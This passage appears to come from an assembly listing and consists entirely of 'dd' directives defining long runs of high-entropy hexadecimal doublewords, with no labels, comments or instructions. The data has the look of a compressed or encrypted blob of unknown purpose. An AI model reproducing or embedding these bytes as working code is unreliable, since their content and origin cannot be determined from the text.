		dd 0DA6F621Fh, 64970D02h, 0E5F4C090h, 0D63BCE06h, 0F9658BE6h
		dd 321D58C1h, 842E7BB2h, 13071278h, 4FDB090h, 0E83A5170h
		dd 81E85A2Ch, 1ABE5A1Ah, 122159F5h, 0A21D01D6h,	6B209A0Bh
		dd 12EB7A17h, 0C4A51DDAh, 0C03A9644h, 8D092BA2h, 3BB1550h
		dd 0DA615616h, 0AAF816ABh, 0AC904FDDh, 0EC0B4F0Eh, 457FFE7Ah
		dd 7DA5BD07h, 92AA4634h, 3AC62580h, 0B54E4B7Dh,	0AE83E8Eh
		dd 7CB48A10h, 0F58A6095h, 0BD461FF1h, 0E7A38818h, 2899B502h
		dd 0BA23C5E8h, 1733A326h, 0BB259069h, 597B4E1Dh, 6800445Fh
		dd 63E2862Dh, 2DF8BF06h, 80B13160h, 7A2856C3h, 0C4705FE3h
		dd 0C6E2EB78h, 0E4EEE9C4h, 0FFFAC171h, 0E0FDBF25h, 84BB53EBh
		dd 0B24BE975h, 0A6939AE8h, 0E9FE096Dh, 68DE6067h, 96401623h
		dd 0E38BAA13h, 386DFB00h
		dd 0D7C9E935h, 0DFC3DA83h, 44142666h, 13C0893Ch, 736026D9h
		dd 4FF876DAh, 2554E460h, 6562320Ah, 641DEE4Dh, 0E976FC41h
		dd 46651CB6h, 3D2D9640h, 7C980A4Bh, 2D95348h, 4D41727Dh
		dd 8006DAF7h, 132EC28Bh, 10FBB71h, 9D28FD85h, 2518806Dh
		dd 0E96B7529h, 88DD4E38h, 37B85C17h, 27CF995Dh,	12427BD1h
		dd 0C62FE432h, 0A7D6A73Bh, 0DBB7E50h, 43D96CF5h, 98C95540h
		dd 0D3413DE7h, 5A20F236h, 0D0F1ED6Bh, 15F61DD0h, 0D9525A1Eh
		dd 3C5FD808h, 0FEEFD003h, 0DA380C7h, 2F9EC0E9h,	0FB4AE244h
		dd 1220AD16h, 58A3F2EBh, 0C5C2899Fh, 0ACB9984Bh, 0C40A6C85h
		dd 0F3F89017h, 83D9ABF5h, 3E39BB2Ah, 4FAA3424h,	9700A302h
		dd 0A1A44AACh, 0B7646048h, 7D15290Bh, 9F915059h, 0F4CB62D6h
		dd 0EFE985FBh, 8E98EFC4h, 2D715E7Ch, 698F07D9h,	7DA60AF1h
		dd 59A8870Dh, 0F43A0C85h, 9F43AD3Eh, 58132310h,	9EAD3856h
		dd 0B52FDB41h, 0AA7CE421h, 712E549Dh, 13052AFBh, 25FC24B8h
		dd 7A4578Fh, 6E34EF38h,	0D96A6EEDh, 2E4E0B25h, 5453D323h
		dd 7A486DCAh, 60274A18h, 8982DF13h, 0E0F9E72h, 315BE5C5h
		dd 0B84A53EBh, 5FC48993h, 2B934F45h, 0CDBD29C0h, 0C036483Eh
		dd 35270275h, 0EDD151E8h, 16CF7760h, 8957F309h,	0A9E284EBh
		dd 0E9835E09h, 0C9023481h, 461086C2h, 43AE205h,	0F7AC83B7h
		dd 7273BB00h, 0A4B84A7Bh, 1E269717h, 762408EBh,	0EF5B76ADh
		dd 3B98A1D6h, 80C370FCh, 638F6EBh, 8CB14E60h, 0E0AFF13Ah
		dd 0D65B35E9h, 85EA4274h, 8E7563A5h, 3BBD17D4h,	0E767C50Bh
		dd 91EB2A00h, 34ACAC2h,	0B752DEE0h, 0A3185996h,	0A44A6557h
		dd 0F0549FB2h, 0EC52254Fh, 0BF4544EBh, 0FD82374Ah, 54954C39h
		dd 2BABDB2h, 3AA75AB1h,	5957D2F7h, 40E9C17Ah, 0BAEC55A9h
		dd 0B43F0EC8h, 1EFF2D40h, 0A8D35470h, 0BE965AA9h, 0BE56FF30h
		dd 435003C0h, 613EE971h, 77534A3Eh, 0C81BAE27h,	0B5D0AFF4h
		dd 0D432461Ah, 6B34F0D7h, 0D3745F7Ah, 292F3F05h, 822AD2EEh
		dd 40B19661h, 0BC5193B6h, 0ABE96312h, 0EE7F0CA9h, 0F077A015h
		dd 797D722Ch, 5DB77D27h, 2912A9A8h, 0B9DA01F9h,	2C2C6139h
		dd 52BAA4BBh, 92A70C63h, 6B41A7C6h, 28A3E02Eh, 5ACB52A0h
		dd 58E581Eh, 24D536CCh,	0FDFEED4Fh, 0E8F7CEAEh,	0B3E2844Eh
		dd 91DDDFEh, 12AC3786h,	0D2EFCB79h, 0E47F5115h,	62C60F51h
		dd 5E6466FDh, 284AC9C8h, 4A263E8Eh, 0DAF7C1ECh,	0C545178Fh
		dd 13D9AB35h, 0D477E22Eh, 0EBB63EC8h, 0A9F0179h, 16E297Fh
		dd 0C828BBABh, 4B0C970Ch, 824C9F09h, 71CBA34h, 0E1BF6258h
		dd 0DA862AFh, 0A2F7810Fh, 7760366Eh, 903909E0h,	0D36D1EB5h
		dd 0E131130Ch, 0CCF92B3Dh, 532CEF92h, 0DD0D5F1Fh, 0BF3154FBh
		dd 0FC267E62h, 0E0F92753h, 8A0A465h, 11680557h,	0EF406C78h
		dd 6E4CE9F4h, 0CBC4B11Ah, 0D739B9D1h, 0EF8787B9h, 45E7135Fh
		dd 73210C5Ah, 0FC2EF580h, 35678601h, 0EF20633h,	0C29BD18h
		dd 593F0207h, 80194A7Fh, 6DC3138Ch, 8A2948Bh, 5F25A755h
		dd 94DB4402h, 0F225CC08h, 96290F1h, 72903FD5h, 0B34BF283h
		dd 0A7B3EE84h, 0F6CBFBD3h, 10D26173h, 0C9F777BEh, 0A0F560C0h
		dd 54275B9Bh, 57CEE643h, 2F5DEF3Ch, 0F130E88Bh,	0FADB13F5h
		dd 18CFACFEh, 0DE2BA516h, 0F905055Bh, 0C0244906h, 327C18D2h
		dd 0E9F02904h, 65A45A92h, 0CB28268Ch, 0F1FD3AE0h, 2C124369h
		dd 5B9B347h, 26EC5A1Dh,	436A02BEh, 674015D8h, 0D23D7FD0h
		dd 9EC97C2Ah, 0B25FF8AFh, 856E9D18h, 0A62491B0h, 61A53EBAh
		dd 0EAE8FA27h, 0C137AB79h, 1097994Dh, 0CE74925Dh, 0AABE1668h
		dd 3F0A7F07h, 98B08146h, 0B915C04Fh, 8C6C0931h,	6B624D7Ch
		dd 61D6DE05h, 1A20AE9h,	0A02F97B0h, 4FB57E3h, 0C7F0D49Dh
		dd 3574C09Bh, 2F7213DEh, 0F1152D07h, 70FA1F60h,	0C200E32Fh
		dd 9ABF58Fh, 78247DF6h,	19B3A08h, 653162B9h, 42377B38h
		dd 777CD052h, 0D074F6Ch, 5F951918h, 2C3F0F3h, 0AC2D7C3Fh
		dd 84F43144h, 81C1D8ADh, 0E5255E0Ch, 5FB2F63Ah,	9BE96B0h
		dd 74461981h, 3628942h,	6803C280h, 2960EC6h, 9A60AA60h
		dd 0D5F73F4Fh, 8C53C097h, 67963D83h, 0CA59DD39h, 0BB82CE1Dh
		dd 636F15E4h, 0BE8F3E3h, 0B9515814h, 0E2B7365Ah, 6577F9A8h
		dd 0FB4CD4ABh, 416747D9h, 0B192C515h, 0AF00EF4Bh, 0E47B1905h
		dd 34C90AFh, 6B334B58h,	2AC7C229h, 0DA4C3E08h, 338F8E12h
		dd 0E5C95E48h, 538C6B3Ch, 5909BFFCh, 35B74902h,	0BFE49477h
		dd 0E0080373h, 779B3FF0h, 0CA24253Ch, 8269F92Dh, 55DCC400h
		dd 4E78AA2Ch, 0ADF29B5Eh, 0F3212C84h, 0A22F24F7h, 0BBDC5A98h
		dd 57951211h, 2A60FC5Dh, 0D12CCA33h, 68C23821h,	0F21CEBCEh
		dd 53864AA2h, 0A5680579h, 0CEC6169h, 559C060Bh,	5F41C4C3h
		dd 6800631Ah, 98950F1Bh, 9CB7387Dh, 0DC0288E4h,	2367B802h
		dd 0ACF24083h, 1CF6B5CDh, 2C4076C9h, 10200419h,	1EBDBCD8h
		dd 161F38FCh, 5305EE17h, 0C2BE0FFDh, 886C6B1h, 2A700E5Fh
		dd 0B41C1E3Fh, 81A2ECEh, 5923040Ch, 5F169EE7h, 818FFF56h
		dd 0E124EE5Bh, 4AD5CBAFh, 0D1911E71h, 6D9FDA3Ch, 40B84Ah
		dd 6192CC8Ah, 852174B5h, 0AB537C68h, 0F3E17B64h, 61A33E8Fh
		dd 9504222Bh, 94D2B37Bh, 70F31846h, 3D5AD313h, 3438D809h
		dd 0F132B8DAh, 56009D6Dh, 1F005D68h, 815E7D1Bh,	3E5C2DE6h
		dd 363E4C67h, 9A74E9CFh, 0EAF0B03h, 28077F4Eh, 0F6605256h
		dd 0E797D2Dh, 3910E97Bh, 7B9CBA13h, 14C24029h, 6023FC9Dh
		dd 0F745FB68h, 63E9280Ch, 9C7E718h, 27617C9Dh, 12A38704h
		dd 29004C13h, 47106DE5h, 92CD0E81h, 1F6603Bh, 91AD01BEh
		dd 18976B08h, 0E752FC30h, 0B68E654h, 1A8511CDh,	0BF02CD02h
		dd 8D0324D5h, 53C768BCh, 0F63DB0BBh, 0F30F8119h, 12055802h
		dd 420BD309h, 91E0F73Ch, 0FF73EA80h, 12ABF23Fh,	8B22D856h
		dd 9FC8E4FBh, 92C31781h, 466FDD0Ch, 0DB4F7EFAh,	98173729h
		dd 4614F742h, 4B84B5C6h, 4B35CBD3h, 0E93B0BDEh,	0BFA5174Ah
		dd 0DC1925CAh, 30AD1086h, 711441BEh, 0AE7C39h, 628C1149h
		dd 0F3781D05h, 9ABE4A88h, 25D1C18Eh, 0CDAAC0C7h, 6C2130BAh
		dd 29783A18h, 3B509018h, 0F1A41609h, 0AC0820E7h, 0FA2D07AFh
		dd 5001B227h, 3BA67563h, 522A52B8h, 649008BAh, 62147695h
		dd 0A7F3079Fh, 19A2F8A0h, 5AA5667Ch, 0BD2F2F28h, 5489FCF1h
		dd 0D8905E58h, 0F85FB9E9h, 55CB9CFCh, 295A0EA2h, 7F3CAA7Bh
		dd 0A340A490h, 0BB787168h, 44BF0487h, 0E90EFB21h, 64F2858Ch
		dd 0FC7B20BEh, 6F60B514h, 0ACA1AB0Ch, 49E92D9Ch, 0EFD145E1h
		dd 3341F7B9h, 59FB44CEh, 81685508h, 85323262h, 4BF39055h
		dd 29442DD5h, 2008CF08h, 92FF5BE1h, 0B25EF7E0h,	16BCF7A0h
		dd 8E3F74E9h, 3010914h,	6F3F3CE9h, 8312728Bh, 842504E8h
		dd 56A2FBCEh, 7810A44Ch, 17663237h, 0B7487D56h,	3056395h
		dd 436FE906h, 19BF5D01h, 0A26A3488h, 3CBA5A97h,	1C8004A6h
		dd 7862828Fh, 5160F07Ch, 0F1B850h, 56A8A16h, 7E6109A1h
		dd 0EDE8D124h, 85721B00h, 5EDEE942h, 0A177EF94h, 0EF9CCC3h
		dd 0E6E78016h, 515ACF60h, 0C5F24CB5h, 0EF38AC7Ch, 0C7FC730Ch
		dd 301C59EAh, 0E8D65BFDh, 30FEF808h, 1217B8A9h,	5A68263Ch
		dd 2DD99C81h, 4E5F5202h, 4F1D9887h, 9297B9D0h, 52D1BC41h
		dd 0B3690B47h, 1528C610h, 0BA213E9h, 45DE315Eh,	8FD8A71Ch
		dd 6A7D6813h, 2B02CA62h
		dd 0E9143957h, 2FF456FAh, 4CA5615Ch, 56567C1Ah,	9C5E0A5Eh
		dd 0FE2FE92Ah, 0C318C80Bh, 702E1D45h, 53E38135h, 0F0463279h
		dd 5109DACBh, 874B127Ch, 2B134221h, 54EBE89Fh, 37D25C31h
		dd 90533A16h, 0A927D855h, 0F2011176h, 0C9196E16h, 91AED521h
		dd 692B08A8h, 6DE6801h,	0E32B018Ah, 3B828078h, 95310690h
		dd 5B01FBDAh, 0E9071A3Dh, 8F5536ECh, 0C12D26BCh, 0EBB03B93h
		dd 4112225Fh, 8E201EE9h, 3D3126B8h, 0F1A51138h,	0B6F784E2h
		dd 0DF59BFBAh, 0ADB15A64h, 0BB4A7B4Bh, 0B4E42B45h, 40C438AAh
		dd 0F70E9778h, 58F37CB9h, 1AEE290Ch, 0E4019DE3h, 802A667Fh
		dd 3072C4A7h, 0F00C0731h, 0C1B09C11h, 4E9DD0E8h, 5B0504E1h
		dd 0EB03F321h, 0C0D46804h, 7DD617D2h, 47C3BEA0h, 80B71ABBh
		dd 791C6926h, 0F4BD0465h, 0C1825263h, 314D5B4Bh, 5F5ED2B2h
		dd 28869D63h, 6B7DF11h,	1F3577C7h, 0DE0CC46Ch, 0C5DC13Dh
		dd 1A5F0F98h, 35D8E937h, 702C2BAh, 0D6097749h, 0F21575Ah
		dd 0EAA06472h, 89C2F580h, 509FC89Ah, 1E92D02h, 5B96BA42h
		dd 0AFA6C3F8h, 1FD97F0h, 0E06A5D5Fh, 904131E0h,	10B1F82Bh
		dd 0B85E8CD8h, 4AF4ED2h, 9CC65D5h, 0D990DF28h, 0CEBF9438h
		dd 50DD2E5h, 0E8C16699h, 8E6EC617h, 0FAFCBD10h,	0D70FD262h
		dd 1074AA5h, 6B60A1B4h,	5764F82Bh, 2044A3BFh, 557BE951h
		dd 0BE785BF1h, 0D4132458h, 0A10BF86Dh, 2280E2D6h, 0EE28A0B5h
		dd 0C6E05966h, 65B45005h, 70C1C480h, 0A62A79A8h, 0A09F1CFCh
		dd 0E149F62Dh, 8921EE68h, 4AB60F5Bh, 90797586h,	1300D125h
		dd 28CAAE8Ch, 3E3C7204h, 0A7CB8030h, 2F76F0DBh,	43F6CA07h
		dd 0E2C01DC0h, 6046415Dh, 0FB942428h, 189EBAB3h, 2300CF92h
		dd 4D9045C9h, 57962F68h, 5F1A2718h, 0A65C8382h,	4E5D9969h
		dd 9EA10E82h, 0BF58A67h, 97197798h, 0F90D0401h,	77E23D03h
		dd 2D5F9248h, 1D7A6100h, 30990564h, 247590E7h, 7AD7DF90h
		dd 0DD2DA27Ah, 0BCDAA2BFh, 4B895E98h, 412BB17Fh, 0D768B651h
		dd 88B459DAh, 0F625AF51h, 143A0245h, 7F0969A9h,	35937566h
		dd 1DC4008h, 92427FBFh,	39984356h, 4F7A7EB8h, 0DF25C0BFh
		dd 0CEA8309Eh, 27F8461Ch, 35BBEF4Eh, 0A8DEAB1Eh, 21106816h
		dd 40FCD55h, 0F17C00ABh, 0E45DE872h, 1923143h, 8EACD049h
		dd 26CB40F9h, 73908460h, 53517C30h, 0E3FF8B1Bh,	0C92CAF2Ah
		dd 891FCA0Ch, 42811EEEh, 5FA10DA6h, 0E34289C2h,	8BFF080Bh
		dd 6BCBFCF0h, 0FD8889D7h, 0D89F1FE4h, 30D1AC75h, 0EAADC513h
		dd 19267758h, 8F10190Ch, 0FBFAB212h, 0DAEA01C5h, 28B20146h
		dd 61336866h, 0B1079672h, 0C9CA30AAh, 3A284249h, 52A83612h
		dd 0F2E2EFA5h, 0FE8A9316h, 4AE7B132h, 8DA2FD72h, 1AD7C6B5h
		dd 0E945D08h, 0B9A6818h, 9FDB40EFh, 96349766h, 0C9C15EFCh
		dd 0FE019419h, 94C76AC9h, 7E9948A2h, 55AF6097h,	25FE0BA6h
		dd 89BCEAB7h, 930BF46Bh, 684B42C6h, 65D51F24h, 0F8E90915h
		dd 47C8D2Bh, 89401811h,	2FE9EEB5h, 8E91EFA9h, 0CFE26001h
		dd 0BE37D90Eh, 6CDCDF1Ch, 0BAFAD49h, 23907F21h,	0FD9692D0h
		dd 0D288D625h, 5665EEFEh, 0A64698AFh, 0E26A8B41h, 89D61012h
		dd 3004592Eh, 8102902Ch, 34AED01h, 0C50123AEh, 80CB544h
		dd 2511E58h, 894116F0h,	36605DE9h, 9B1C644Ah, 79704573h
		dd 282B2C9Dh, 989F890Fh, 21B70967h, 0D1006F18h,	59514FEh
		dd 7E7C11Ch, 3F04EFD6h,	0EB12AD37h, 3085E293h, 8C545BA3h
		dd 144C693Bh, 86803A3h,	0B5D17D40h, 5623B4BFh, 0AB275777h
		dd 0BCC8E8A8h, 2558243h, 0F7E6BADCh, 8484D159h,	1CC06C2Ah
		dd 484FBFE3h, 30101516h, 8ABA0358h, 0D149FB62h,	0A33B097Fh
		dd 3609328h, 95B86857h,	0ED550289h, 1EEC2564h, 0F7B00F25h
		dd 57683DBAh, 0C3CC11A3h, 975A4854h, 0E961C8F9h, 234FA2Fh
		dd 0E1E3A8EDh, 6BB42833h, 588F12BFh, 0EEF504E0h, 6E84129Dh
		dd 4AC48FAEh, 0AFD3B8B2h, 0AF6170CBh, 2AAA7DE9h, 0BC1F414Fh
		dd 53CB7C1Eh, 12D446D8h, 97793D68h, 7211720Ch, 0D8B4E902h
		dd 0AFF6B181h, 86F60B09h, 34C09A16h, 2F40ADBEh,	29704987h
		dd 5F46B4C0h, 5301FE97h, 59244BF0h, 622DC082h, 7E02D36Ch
		dd 3836C905h, 95016144h, 0C37A317Bh, 82680329h,	9F59C64Dh
		dd 0DC4B34DAh, 0DCD3D1A8h, 730E916h, 256EC90Dh,	5BAFB806h
		dd 9609FEEDh, 5E2BABFBh, 156858D8h, 34251712h, 5A69420Eh
		dd 5CCA5D2Ah, 2E7472DDh, 2FAA5655h, 5DCD20Bh, 91177172h
		dd 16502B02h, 0BB35E905h, 0C210C1A9h, 4DE05B70h, 645D126Dh
		dd 0AF55127Fh, 0CF29864Eh, 88BEACE9h, 4FA4B153h, 0C0E0D5CBh
		dd 0CDE4C5FEh, 99F6F679h, 0EBF7A7BDh, 44793172h, 44CD0282h
		dd 0F7011129h, 975FD761h, 0E707EB4Bh, 9BB5C386h, 0A27E58E1h
		dd 0F6FC4BFCh, 258E2DC0h, 2977495h, 9F513F2h, 0F6DAC475h
		dd 31914A6Fh, 6F0F48DEh, 1711198Ah, 0B83C2588h,	0B54F1C73h
		dd 809D61E4h, 364B3042h, 1EF895A5h, 100CFF58h, 49DF6788h
		dd 62A98DACh, 97199CF5h, 0E892AF4h, 7C3A7587h, 8B0E5957h
		dd 1E9486FDh, 0EE301042h, 700C051Fh, 1B76022Eh,	0EC26F01Eh
		dd 0E97D4F01h, 612BBE45h, 0F0E80194h, 6CB7BB56h, 68FCB5BBh
		dd 74619142h, 0D979634Bh, 98CF3D3Bh, 0D80F7FE8h, 0C940E05h
		dd 0E5B72022h, 1185E862h, 681255FAh, 7A705175h,	4CAB27CAh
		dd 0EE00464Ah, 0A34D297h, 0F05E8950h, 0D41D3881h, 0CF125E7Dh
		dd 0F27B676Ah, 225CBE5Bh, 43B71243h, 0AF10FE8Dh, 8952097Ah
		dd 2B9D0BDAh, 75CC75B2h, 0FDEC9602h, 0C874E9ACh, 4B9D6828h
		dd 5818A356h, 0B494C5ACh, 5925E8A7h, 25FE9CF5h,	0A91C8DFFh
		dd 4BF8F39Fh, 0E15153FEh, 0F6AF03EFh, 329A188Fh, 6F384AD9h
		dd 1EF05444h, 0AC3B6804h, 0AFBAC13Ch, 7A701004h, 46E565C5h
		dd 506BE85Ah, 145A55FCh, 534CCBE9h, 2A90E15Fh, 83CAA54Fh
		dd 0BB50B753h, 0CD682AEFh, 6D6CB585h, 37685E09h, 205A662Ch
		dd 0F607C41Fh, 43E380DBh, 5FACB33h, 0CFB04458h,	9D56A930h
		dd 0B6521E04h, 0A6ACAC81h, 815C3E82h, 0C55D02C5h, 83DD2DD8h
		dd 70856F16h, 2CF077D6h, 693CBE5Ch, 36755D89h, 0BEE915B0h
		dd 5849733h, 25F8FCFEh,	326B78D3h, 0EEF39D11h, 295D4CCh
		dd 0FC215A3Dh, 0DF56252Eh, 0EB08D124h, 40C01D47h, 66D3F606h
		dd 5D3FB551h, 811F2880h, 0EE28BF3Fh, 1A7BB010h,	38D765E9h
		dd 0F66E8BFFh, 0A44E0FD9h, 0E9DE0161h, 0A2C47E0Bh, 2B1E3BFh
		dd 0B2521CF3h, 0D8C1F52Bh, 0E9686FD2h, 0E2CA4EFEh, 59826710h
		dd 75973D82h, 0B85CB23Ah, 0BC3F48EAh, 2D439F62h, 1A452340h
		dd 0E2B6A25h, 70558D6h,	0C0DFC3EFh, 149D41CAh, 5D0BB951h
		dd 50DE85F1h, 32F49D11h, 6843AE6Ah, 0F36DC322h,	0CFF803E7h
		dd 40B93AFBh, 1F5AF7B0h, 0D7AACBF9h, 5C06A055h,	0EC338A21h
		dd 0F860BEAh, 41726065h, 7A5F0881h, 982092C1h, 48C3FD3Fh
		dd 80521218h, 14581DACh, 3AD0E908h, 5352681Eh, 3D650760h
		dd 971348F7h, 670D8006h, 7B0A745Ch, 0F7793E31h,	21C6F609h
		dd 805BDE40h, 0EECC27DDh, 97F9EDC9h, 0E98C037Eh, 670587A5h
		dd 7CD96B4Eh, 6AB72DBAh, 2F4F60A0h, 8103DEE9h, 2CB94D45h
		dd 0BA383F85h, 0A2829731h, 0D0059AAAh, 0BDA0F5B0h, 0F24E5074h
		dd 0B0A665BBh, 2FF9E98Fh, 0C6290805h, 0D1AE2E74h, 26CF5A3Fh
		dd 0FC005F11h, 296E61EFh, 0D8F73995h, 1300CFD8h, 0E9D6919Eh
		dd 39B518BDh, 0CD7FB941h
		dd 66D39239h, 0B6A07BBCh, 1528B041h, 82C9E28h, 0F60B79C6h
		dd 2261DFDEh, 0CEB1FBE6h, 79AE247Ah, 155CF5FAh,	0ED287F3Eh
		dd 0E11BC5C8h, 0AD34EE28h, 0B1512CC0h, 72E9FAAEh, 16034D05h
		dd 3A0A6809h, 586254F6h, 49E55119h, 28DA2C91h, 82D06DBh
		dd 5A14691Eh, 5DD18175h, 0BFDD2066h, 0C3E81D5Bh, 0B943491Eh
		dd 0B7E118E1h, 0C90A8968h, 402F826Dh, 495C0BB1h, 4A830742h
		dd 13F97758h, 51744F42h, 0D40E8B5Bh, 0D2128AE5h, 4D5D5901h
		dd 842A3109h, 91CCBA33h, 2DAAB04Eh, 0D7C6D2B8h,	8046D504h
		dd 0B9AA584Bh, 499E768Fh, 0BF1A7D2Fh, 0B55C8422h, 0C5E9FA5Ch
		dd 5759271Ah, 0F088362h, 1DA4F582h, 0C044663h, 13D26CF1h
		dd 0B1913EFh, 66DDCB71h, 200FF886h, 7722C56h, 22CAA630h
		dd 163AA4BBh, 97293945h, 0BF8AF325h, 7E05C728h,	76825562h
		dd 2464D25Bh, 61AE824Eh, 2A0B4468h, 97694D9h, 5AD12B2Ah
		dd 8D32EF8Fh, 0C55AFD66h, 7755ADF9h, 0F6B2969Ch, 0C9EE5E4Ah
		dd 528D3AADh, 51C90DB2h, 0EA8FFBD5h, 907FA513h,	70A56804h
		dd 0C8D4BD45h, 7ACA7DCBh, 712562D6h, 0F86609CEh, 1391C928h
		dd 0EABDB463h, 3D6934FCh, 0D08FF70Fh, 7B2F422Dh, 43141558h
		dd 5FBA809Dh, 3BA57106h, 250B63BDh, 725ED529h, 86C42CB7h
		dd 7410D1BDh, 0A9B502A6h, 5759E828h, 0F82793D1h, 640417A0h
		dd 503DF81Eh, 0EDEC56FAh, 15EA0D7Bh, 0C2279298h, 0F9327DE8h
		dd 0D7FE9986h, 8DA8AD72h, 2A862391h, 4E891DE9h,	30B27558h
		dd 5299687Bh, 5BC0C91h,	475F3525h, 8B23B5EAh, 52573FCCh
		dd 31D0BFFDh, 88373301h, 9693B961h, 0E04083E9h,	604504EDh
		dd 5C660C4Bh, 0E9132325h, 95B924E2h, 69CAACDFh,	27B6C657h
		dd 667E5DE9h, 53C40E13h, 0EE4BCDA7h, 55507A72h,	5927F1CDh
		dd 20491FB1h, 9CFBCBA3h, 0FAF78D82h, 56E92FC9h,	0D0F2C89h
		dd 3D76677Fh, 286D5958h, 8DA06F3h, 5D380799h, 14ACBE02h
		dd 0E97C40EAh, 0F279F94Ch, 0CF55FB05h, 0EE1FAF51h, 173E848Eh
		dd 2EBFCDEFh, 59327780h, 68D7092Ch, 379A6738h, 0B6B05E81h
		dd 41A6488h, 0A7E98A3Bh, 2789F22Dh, 81F154F7h, 0D7E68E1h
		dd 0A70B8204h, 0B572116Ah, 0CA615727h, 264E438Fh, 16435579h
		dd 0D16EA4A4h, 0F4B505B2h, 0E7F95394h, 0CDE2A7Ah, 479EFA4Ah
		dd 47272016h, 9356D5Bh,	61687157h, 0E60C685Eh, 0B86743FEh
		dd 0FD51251h, 7FC0FDE6h, 790493CAh, 0DAF76631h,	0F468DECBh
		dd 67539697h, 0CF97C2D0h, 0E708BDD1h, 9A72C36h,	0E6D5C826h
		dd 0C2DAB441h, 31AF2DCAh, 8BD5EA09h, 39203F1h, 0BE3C05B1h
		dd 0C0236471h, 0D59C6F1h, 0F775FA09h, 0B2680AD6h, 2C0E5312h
		dd 0F47823EAh, 95E1D068h, 4522E3FFh, 3B61BBDAh,	33B23B44h
		dd 0AA14ACD1h, 0AA92C07Eh, 905E5C4Bh, 0A4ABCB94h, 0E3682A1Eh
		dd 60CEFC8Dh, 922D0AB8h, 3F2E6B2Fh, 1F3C8948h, 1280838Ch
		dd 9AE9C229h, 494E96C0h, 0F8816D4h, 0E376257Fh,	46E0E030h
		dd 0EC4E7E15h, 0BC3A9DF4h, 0E9D00B5Eh, 0C53760C8h, 0D6A536F2h
		dd 0D109A71Fh, 0CA843557h, 188C8BFEh, 0BDDD1466h, 981278A0h
		dd 2E037C4Fh, 2C57E5D1h, 0A2618ADh, 32D271C5h, 0C448B2F8h
		dd 0B6385531h, 12882A7Ch, 760507ADh, 502A6974h,	6D332B02h
		dd 8A0151h, 0DD2EE907h,	0B249FCB6h, 0FD40C295h,	5B795D66h
		dd 58DFC354h, 41956812h, 0A0D60FF2h, 90E150CBh,	3F253C4Ah
		dd 0C70B3F7Ah, 747DF1h,	70B3EF23h, 6097C0Fh, 9E7343F7h
		dd 79090C30h, 579D2211h, 272B81ABh, 0DE6B4DD1h,	8209926Ah
		dd 4A6166A2h, 3BE0EEF6h, 0FCE904D8h, 35B9C164h,	6455273Bh
		dd 0E56FE500h, 0F69CAD3Fh, 1227A44Eh, 0D20CBD0Ah, 7D07D1BFh
		dd 5ACC3A09h, 985D00E2h, 0BE38144h, 110A060Fh, 91626068h
		dd 1B1234C0h, 0C3092D28h, 2B886040h, 0D077E327h, 0A7392037h
		dd 0D1CD8100h, 686BE105h, 4F7CB7DCh, 0F8054E4Ah, 6680850Eh
		dd 4F5572D2h, 12C2AC30h, 0E4A8EDC4h, 68765BA2h,	0FE0FF727h
		dd 697C3126h, 860EC563h, 0E085D944h, 4EFD1F5Ch,	5AED4B94h
		dd 945892DCh, 9FBB505h,	98CCEC09h, 5E685ABFh, 0AD1FE508h
		dd 8924C734h, 92F5B335h, 0F3900033h, 0EC53A917h, 6D22955Dh
		dd 0B966A6C9h, 18E9504Ch, 0CFD321B1h, 306558DAh, 37EB0C61h
		dd 99CC474Bh, 0C133B385h, 6CAF90ABh, 6480A60Bh,	0FEC2475Eh
		dd 68593A41h, 752349F0h, 0CB291392h, 0ABD41838h, 0BA9F349h
		dd 293CF050h, 4BBD96D5h, 93108109h, 784B3326h, 72A3366Bh
		dd 9E888002h, 3D7A247Ch, 7E6F0EBEh, 0DF9AEE16h,	468CFF4Ah
		dd 427214B9h, 164CAB60h, 4BA3F510h, 2F048AE8h, 0B1A5482Bh
		dd 58A17B33h, 0EFC58AB0h, 1A256B3Fh, 2E7D036h, 2992A721h
		dd 60555FFDh, 9A4CFF23h, 15E2BF0Bh, 888D4056h, 42EC4594h
		dd 0BF487B2Dh, 0EE51D1D8h, 832A08h, 4C240003h, 0E91125DBh
		dd 4691A66Ch, 0F7F02942h, 6FFDBF1Ah, 92E8EECh, 2D77EA16h
		dd 55559BC2h, 0C5206CCEh, 883AA3A2h, 2E0B2744h,	2C49B8h
		dd 4A9E051Ch, 0E2BD5AC7h, 590707B9h, 0A00BBCF2h, 0D1BF5733h
		dd 72F63F49h, 0C6EF6279h, 595DE068h, 26462FE5h,	64E66AEDh
		dd 85422724h, 5F327D68h, 0EA414A1Ah, 0AFF3818Ah, 602E997Fh
		dd 3B17B894h, 600150DAh, 55A91F43h, 0F3D9B42Eh,	0E0B06609h
		dd 5BFC834Dh, 89B4EE89h, 0FBE15381h, 0D2E8DDE9h, 7089B669h
		dd 689E9DB7h, 0F63CE700h, 4AB8E9DFh, 69C3326Eh,	9F96025Ch
		dd 0F38393C5h, 0F240ECE4h, 46EF15FCh, 0E8E2C131h, 0B33BCD43h
		dd 7C40731Ah, 33459D5Ah, 2ACD6881h, 643E088Ch, 0A702BA23h
		dd 503B4823h, 0B20500ADh, 0E947A012h, 81D372C7h, 0B15D3501h
		dd 0D7EE012Fh, 7E097D16h, 0B203670h, 550F897Dh,	0E54236F3h
		dd 1A5AFFDCh, 21BE5602h, 557CD357h, 0EFE638C1h,	9E00D44Ch
		dd 273A5925h, 47CEA0A0h, 0AB90658Eh, 0D85B4301h, 1D4DE993h
		dd 98303499h, 0D06B032h, 0A9377568h, 68D865Ah, 6E0BD1F6h
		dd 3CF16EECh, 0A3E83ACCh, 0DB62AAD2h, 0BA5709F1h, 1641865Dh
		dd 695A4DF1h, 5DB25200h, 0E2C0C2FEh, 0D602E4C6h, 8186A05Ch
		dd 34CAB59Eh, 6ECA4780h, 0CC07291h, 40EB36F5h, 0AB345F8Bh
		dd 0E9123F2Eh, 0D010B180h, 599D76EAh, 0FC8CCDEBh, 0C09F5103h
		dd 4188CFD5h, 0F8B1E4D9h, 9ECA2833h, 74BBCD16h,	0C0CB1394h
		dd 5F93B8F1h, 5521C0Ah,	900884Ch, 0DB354840h, 7F9F5CBDh
		dd 0FCB5FE12h, 0F040CA97h, 853F8CA6h, 1EA52BF1h, 0DC10F2A8h
		dd 0B0FC4EC5h, 9A285305h, 0F05F824Bh, 336BB055h, 9DE69B58h
		dd 17390E9h, 37A1CB81h,	83603C05h, 0E258955Bh, 595877Ch
		dd 2EE8D4E8h, 0C038414Fh, 2465DD56h, 0E9124AB4h, 32BAAB95h
		dd 0A0FDA7ECh, 6CE3C7BFh, 1E205BBFh, 0C9807979h, 899CA670h
		dd 6F26E9F8h, 0BB841571h, 62B46C1Dh, 690D0539h,	0F899E95Ah
